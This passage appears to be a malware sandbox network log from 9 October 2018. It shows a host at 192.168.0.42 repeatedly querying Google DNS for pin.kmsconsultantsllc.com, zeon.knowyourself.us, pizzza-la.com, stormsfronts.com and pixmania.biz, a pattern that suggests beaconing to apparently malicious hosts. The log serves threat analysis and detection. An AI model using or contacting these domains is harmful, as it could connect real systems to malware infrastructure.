Okt 9, 2018 20:14:44.721482992 MESZ	53	59783	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:45.405002117 MESZ	51126	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:45.410410881 MESZ	53	51126	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:46.309492111 MESZ	58429	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:46.314677000 MESZ	53	58429	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:47.333349943 MESZ	54776	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:47.338335991 MESZ	53	54776	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:47.340914965 MESZ	64618	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:47.346251011 MESZ	53	64618	8.8.8.8	192.168.0.42

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Okt 9, 2018 20:09:41.485589981 MESZ	192.168.0.42	8.8.8.8	0x2ee4	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.787537098 MESZ	192.168.0.42	8.8.8.8	0x4018	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.891869068 MESZ	192.168.0.42	8.8.8.8	0x59ad	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.954914093 MESZ	192.168.0.42	8.8.8.8	0xc965	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.533885002 MESZ	192.168.0.42	8.8.8.8	0x4b9f	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.667782068 MESZ	192.168.0.42	8.8.8.8	0x6c3a	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.710383892 MESZ	192.168.0.42	8.8.8.8	0x93f7	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:47.533348083 MESZ	192.168.0.42	8.8.8.8	0xadcc	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.533967018 MESZ	192.168.0.42	8.8.8.8	0x694f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.661053896 MESZ	192.168.0.42	8.8.8.8	0x7494	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.700663090 MESZ	192.168.0.42	8.8.8.8	0x464d	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:52.737251997 MESZ	192.168.0.42	8.8.8.8	0x3f31	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:52.976222992 MESZ	192.168.0.42	8.8.8.8	0x82b8	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.127737999 MESZ	192.168.0.42	8.8.8.8	0x66e3	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.533803940 MESZ	192.168.0.42	8.8.8.8	0xc360	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.901705027 MESZ	192.168.0.42	8.8.8.8	0xb081	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:54.018508911 MESZ	192.168.0.42	8.8.8.8	0x7874	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:54.187385082 MESZ	192.168.0.42	8.8.8.8	0x5fd8	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:59.602668047 MESZ	192.168.0.42	8.8.8.8	0x8ce3	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:59.870594025 MESZ	192.168.0.42	8.8.8.8	0x2a1a	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:04.536900043 MESZ	192.168.0.42	8.8.8.8	0x3ca2	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:05.534881115 MESZ	192.168.0.42	8.8.8.8	0xca30	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:09.538063049 MESZ	192.168.0.42	8.8.8.8	0x2dd7	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:10.651702881 MESZ	192.168.0.42	8.8.8.8	0xbc95	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:10.689876080 MESZ	192.168.0.42	8.8.8.8	0x9080	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:11.634634972 MESZ	192.168.0.42	8.8.8.8	0xeeb7	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:11.725567102 MESZ	192.168.0.42	8.8.8.8	0xab6e	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:12.424446106 MESZ	192.168.0.42	8.8.8.8	0x2c1f	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:17.601588011 MESZ	192.168.0.42	8.8.8.8	0x34e8	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:17.841474056 MESZ	192.168.0.42	8.8.8.8	0xdfa7	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:22.538160086 MESZ	192.168.0.42	8.8.8.8	0xcd8c	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:23.537066936 MESZ	192.168.0.42	8.8.8.8	0x5d99	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:27.534969091 MESZ	192.168.0.42	8.8.8.8	0x75a4	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:28.700206995 MESZ	192.168.0.42	8.8.8.8	0x148d	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:28.730381012 MESZ	192.168.0.42	8.8.8.8	0xf027	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:29.547827005 MESZ	192.168.0.42	8.8.8.8	0xc5a9	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:29.766557932 MESZ	192.168.0.42	8.8.8.8	0x5557	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:30.651029110 MESZ	192.168.0.42	8.8.8.8	0x4cd0	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:35.589493036 MESZ	192.168.0.42	8.8.8.8	0xafbf	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:35.803287029 MESZ	192.168.0.42	8.8.8.8	0x61f2	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:40.541780949 MESZ	192.168.0.42	8.8.8.8	0xf702	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:41.655937910 MESZ	192.168.0.42	8.8.8.8	0x1db3	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:42.780239105 MESZ	192.168.0.42	8.8.8.8	0xd497	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:42.801995993 MESZ	192.168.0.42	8.8.8.8	0x8d99	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:44.843209028 MESZ	192.168.0.42	8.8.8.8	0x4270	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:45.547069073 MESZ	192.168.0.42	8.8.8.8	0x331c	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:45.962096930 MESZ	192.168.0.42	8.8.8.8	0xfc98	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:45.995511055 MESZ	192.168.0.42	8.8.8.8	0x8884	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:47.682904005 MESZ	192.168.0.42	8.8.8.8	0xf749	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:48.019756079 MESZ	192.168.0.42	8.8.8.8	0x9558	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:48.410859108 MESZ	192.168.0.42	8.8.8.8	0x7b43	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:49.170600891 MESZ	192.168.0.42	8.8.8.8	0x6cbc	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:49.200323105 MESZ	192.168.0.42	8.8.8.8	0xc2e4	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:51.294511080 MESZ	192.168.0.42	8.8.8.8	0x86dc	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:52.418668985 MESZ	192.168.0.42	8.8.8.8	0x31c3	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:52.444528103 MESZ	192.168.0.42	8.8.8.8	0x96eb	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:53.726860046 MESZ	192.168.0.42	8.8.8.8	0x7243	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:54.469496012 MESZ	192.168.0.42	8.8.8.8	0xfc86	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:55.614875078 MESZ	192.168.0.42	8.8.8.8	0x6953	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:55.637025118 MESZ	192.168.0.42	8.8.8.8	0x1e8f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:57.784671068 MESZ	192.168.0.42	8.8.8.8	0x9fea	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:58.543186903 MESZ	192.168.0.42	8.8.8.8	0x33fe	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:59.527112961 MESZ	192.168.0.42	8.8.8.8	0x8ee3	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:01.225512981 MESZ	192.168.0.42	8.8.8.8	0x64d2	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:02.975723028 MESZ	192.168.0.42	8.8.8.8	0x1661	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:03.537115097 MESZ	192.168.0.42	8.8.8.8	0x254f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:04.666897058 MESZ	192.168.0.42	8.8.8.8	0x91ca	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:04.685305119 MESZ	192.168.0.42	8.8.8.8	0xc155	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:05.183609962 MESZ	192.168.0.42	8.8.8.8	0x70f	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:05.698995113 MESZ	192.168.0.42	8.8.8.8	0x27de	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:06.441911936 MESZ	192.168.0.42	8.8.8.8	0xb041	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:06.961386919 MESZ	192.168.0.42	8.8.8.8	0x49f3	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:07.962971926 MESZ	192.168.0.42	8.8.8.8	0x49f3	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:11.700946093 MESZ	192.168.0.42	8.8.8.8	0x20e6	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:13.534744978 MESZ	192.168.0.42	8.8.8.8	0x2579	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:16.535819054 MESZ	192.168.0.42	8.8.8.8	0x38f0	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:19.536273003 MESZ	192.168.0.42	8.8.8.8	0xb5c4	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:21.592560053 MESZ	192.168.0.42	8.8.8.8	0x8d48	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:22.716269970 MESZ	192.168.0.42	8.8.8.8	0x7df3	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:22.735270023 MESZ	192.168.0.42	8.8.8.8	0x6ca4	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:23.749857903 MESZ	192.168.0.42	8.8.8.8	0x2a0c	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:24.422508955 MESZ	192.168.0.42	8.8.8.8	0x68ce	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:25.537010908 MESZ	192.168.0.42	8.8.8.8	0x4342	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:29.692570925 MESZ	192.168.0.42	8.8.8.8	0xb603	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:31.538278103 MESZ	192.168.0.42	8.8.8.8	0xcca	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:34.535811901 MESZ	192.168.0.42	8.8.8.8	0xa19	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:37.773576975 MESZ	192.168.0.42	8.8.8.8	0x1757	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:39.536139011 MESZ	192.168.0.42	8.8.8.8	0xe5d5	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:40.645747900 MESZ	192.168.0.42	8.8.8.8	0x1b5f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:40.663005114 MESZ	192.168.0.42	8.8.8.8	0x6a75	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:41.676290989 MESZ	192.168.0.42	8.8.8.8	0x1131	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:42.352267981 MESZ	192.168.0.42	8.8.8.8	0x3097	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:43.538783073 MESZ	192.168.0.42	8.8.8.8	0x99cc	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:47.706171036 MESZ	192.168.0.42	8.8.8.8	0x2c9e	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:49.539495945 MESZ	192.168.0.42	8.8.8.8	0xc780	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:52.579967976 MESZ	192.168.0.42	8.8.8.8	0x678b	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:55.537533045 MESZ	192.168.0.42	8.8.8.8	0x4038	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:57.538980961 MESZ	192.168.0.42	8.8.8.8	0xfdde	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:58.646446943 MESZ	192.168.0.42	8.8.8.8	0xb8d4	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:58.662883043 MESZ	192.168.0.42	8.8.8.8	0x111b	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:59.672489882 MESZ	192.168.0.42	8.8.8.8	0x9ffd	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:00.366152048 MESZ	192.168.0.42	8.8.8.8	0x2ea0	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:01.541789055 MESZ	192.168.0.42	8.8.8.8	0x7743	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:05.727267981 MESZ	192.168.0.42	8.8.8.8	0x1845	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:07.681557894 MESZ	192.168.0.42	8.8.8.8	0xffa0	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:10.539557934 MESZ	192.168.0.42	8.8.8.8	0x9e74	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:13.540512085 MESZ	192.168.0.42	8.8.8.8	0xd36d	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:15.542566061 MESZ	192.168.0.42	8.8.8.8	0x2798	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:16.647433996 MESZ	192.168.0.42	8.8.8.8	0xd124	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:16.666094065 MESZ	192.168.0.42	8.8.8.8	0x5798	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:17.679914951 MESZ	192.168.0.42	8.8.8.8	0x738f	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:18.360869884 MESZ	192.168.0.42	8.8.8.8	0x9fdc	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:19.541697979 MESZ	192.168.0.42	8.8.8.8	0x86e9	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:23.775300980 MESZ	192.168.0.42	8.8.8.8	0xc571	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:25.540766954 MESZ	192.168.0.42	8.8.8.8	0x8e03	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:28.541467905 MESZ	192.168.0.42	8.8.8.8	0xcfbb	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:31.545243025 MESZ	192.168.0.42	8.8.8.8	0x5c19	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:33.545865059 MESZ	192.168.0.42	8.8.8.8	0x379	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:34.653433084 MESZ	192.168.0.42	8.8.8.8	0xbfce	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:34.673394918 MESZ	192.168.0.42	8.8.8.8	0xd9a1	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:35.684812069 MESZ	192.168.0.42	8.8.8.8	0xf7ca	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:36.458007097 MESZ	192.168.0.42	8.8.8.8	0xf365	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:37.651485920 MESZ	192.168.0.42	8.8.8.8	0xaee	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:38.825937986 MESZ	192.168.0.42	8.8.8.8	0x82a9	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:38.844404936 MESZ	192.168.0.42	8.8.8.8	0x7eba	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:40.861655951 MESZ	192.168.0.42	8.8.8.8	0x8d7b	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.737462997 MESZ	192.168.0.42	8.8.8.8	0x3bf1	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.968539953 MESZ	192.168.0.42	8.8.8.8	0xad6	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.988058090 MESZ	192.168.0.42	8.8.8.8	0x822d	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:44.009725094 MESZ	192.168.0.42	8.8.8.8	0x63d1	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:45.129167080 MESZ	192.168.0.42	8.8.8.8	0x4a24	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:45.148298979 MESZ	192.168.0.42	8.8.8.8	0x846	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:46.546027899 MESZ	192.168.0.42	8.8.8.8	0x4d3f	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:47.169083118 MESZ	192.168.0.42	8.8.8.8	0xc0f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:48.289787054 MESZ	192.168.0.42	8.8.8.8	0xd80e	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:48.310482979 MESZ	192.168.0.42	8.8.8.8	0x3eec	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:50.342829943 MESZ	192.168.0.42	8.8.8.8	0x4470	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.495764017 MESZ	192.168.0.42	8.8.8.8	0xde3c	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.516760111 MESZ	192.168.0.42	8.8.8.8	0x8bfe	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.547785997 MESZ	192.168.0.42	8.8.8.8	0x31c2	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:52.673783064 MESZ	192.168.0.42	8.8.8.8	0xf630	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:52.708050966 MESZ	192.168.0.42	8.8.8.8	0x94c2	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:53.678837061 MESZ	192.168.0.42	8.8.8.8	0x2433	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:53.740155935 MESZ	192.168.0.42	8.8.8.8	0x421d	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:54.482309103 MESZ	192.168.0.42	8.8.8.8	0x1e5d	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:55.482851028 MESZ	192.168.0.42	8.8.8.8	0xeb95	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:57.888092995 MESZ	192.168.0.42	8.8.8.8	0xd719	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:59.575381994 MESZ	192.168.0.42	8.8.8.8	0x9549	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:59.789256096 MESZ	192.168.0.42	8.8.8.8	0x4bc5	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:01.353074074 MESZ	192.168.0.42	8.8.8.8	0xc11f	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:03.141505957 MESZ	192.168.0.42	8.8.8.8	0x11f6	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:04.565612078 MESZ	192.168.0.42	8.8.8.8	0xf497	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:09.620979071 MESZ	192.168.0.42	8.8.8.8	0xb110	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:09.712740898 MESZ	192.168.0.42	8.8.8.8	0xe3c6	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:10.832560062 MESZ	192.168.0.42	8.8.8.8	0x2de8	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:10.852200985 MESZ	192.168.0.42	8.8.8.8	0xad1d	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:11.868926048 MESZ	192.168.0.42	8.8.8.8	0xd26f	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:12.562825918 MESZ	192.168.0.42	8.8.8.8	0x3d58	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:15.560957909 MESZ	192.168.0.42	8.8.8.8	0x56ee	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:17.739216089 MESZ	192.168.0.42	8.8.8.8	0x591	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:21.557730913 MESZ	192.168.0.42	8.8.8.8	0xa4b7	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:22.562073946 MESZ	192.168.0.42	8.8.8.8	0xd0df	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:27.622075081 MESZ	192.168.0.42	8.8.8.8	0x9b02	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:27.708169937 MESZ	192.168.0.42	8.8.8.8	0x2ef6	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:28.820622921 MESZ	192.168.0.42	8.8.8.8	0xb3c4	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:28.839313030 MESZ	192.168.0.42	8.8.8.8	0xe9d5	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:29.863996983 MESZ	192.168.0.42	8.8.8.8	0x85b0	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:33.569866896 MESZ	192.168.0.42	8.8.8.8	0x1d67	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:33.760020971 MESZ	192.168.0.42	8.8.8.8	0x7a3a	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:38.722095966 MESZ	192.168.0.42	8.8.8.8	0x21a6	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:39.561218977 MESZ	192.168.0.42	8.8.8.8	0xc53c	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:43.628345966 MESZ	192.168.0.42	8.8.8.8	0xd58e	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:45.564343929 MESZ	192.168.0.42	8.8.8.8	0xed3f	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:48.562760115 MESZ	192.168.0.42	8.8.8.8	0x8309	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:49.691315889 MESZ	192.168.0.42	8.8.8.8	0xe369	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:49.720503092 MESZ	192.168.0.42	8.8.8.8	0x1cdb	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:50.748429060 MESZ	192.168.0.42	8.8.8.8	0xb6e5	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:51.553158998 MESZ	192.168.0.42	8.8.8.8	0xbc19	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
